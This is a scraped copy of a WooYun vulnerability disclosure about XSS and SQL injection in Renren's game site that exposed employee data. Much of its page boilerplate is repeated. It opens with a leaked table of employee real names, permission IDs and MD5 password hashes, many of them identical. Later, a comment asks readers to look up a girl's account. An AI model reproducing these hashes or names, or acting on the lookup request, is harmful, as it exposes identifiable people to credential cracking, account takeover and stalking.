孙晓峰 	,0, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	74
孙宇 	,44,40, 	4297f44b13955235245b2497399d7a93 	[email protected] 	755
孙宇 	,40,11,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	671
孙宇 	,44,40,11,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	650
孙振博 	,37, 	d41d8cd98f00b204e9800998ecf8427e 	[email protected] 	569
谭静 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	372
唐靓 	,24,6,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	530
唐守滨 	,34, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	69
特单处理 	,11, 	e10adc3949ba59abbe56e057f20f883e 	tedanchuli 	719
田佳 	,44,40,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	733
田宇 	,38, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	770
佟辉 	,24, 	e10adc3949ba59abbe56e057f20f883e 	tonghui 	778
王超 	,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	481
王超 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	652
王春翔 	,0, 	e10adc3949ba59abbe56e057f20f883e 	wangchunxiang 	489
王东艳 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	532
王国良 	,43,42,39,4, 	de88e3e4ab202d87754078cbb2df6063 	[email protected] 	731
王欢 	,4, 	e10adc3949ba59abbe56e057f20f883e 	wanghuan 	490
王建坤 	,0,48,47,46,45,44,43,42,41,40,39,38,37,36,35,34,33,31,24,11,6,4, 	c33367701511b4f6020ec61ded352059 	[email protected] 	538
王金刚 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	570
王敬宇 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	772
王坤 	,, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	376
王亮 	,43,42,39, 	de88e3e4ab202d87754078cbb2df6063 	wang-liang 	730
王美男 	,34, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	520
王萌 	,43,42,39,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	626
王孟璞 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	445
王赛 	,48, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	537
王涛 	,33, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	517
王万勇 	,24,4, 	f6be0503eb9fcd1e7a3dc6917c4068ee 	wangwanyong 	410
王维国 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected]

修复方案：

过滤XSS，然后限制管理员权限，加强培训啦
求礼物，求人人管理加我skype [email protected]
想要拜托你们一件事，查一个女孩的号。。。

版权声明：转载请注明来源 whirlwind@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-02-11 13:15

厂商回复：

感谢

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-018510

漏洞标题：人人网游戏XSS+SQL注入+爆路径+列目录，员工信息大量泄漏

相关厂商：人人网

漏洞作者： whirlwind

提交时间：2013-02-07 22:29

修复时间：2013-03-24 22:30

公开时间：2013-03-24 22:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 whirlwind@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-018510

漏洞标题：人人网游戏XSS+SQL注入+爆路径+列目录，员工信息大量泄漏

相关厂商：人人网

漏洞作者： whirlwind

提交时间：2013-02-07 22:29

修复时间：2013-03-24 22:30

公开时间：2013-03-24 22:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2013-018510"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 whirlwind@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：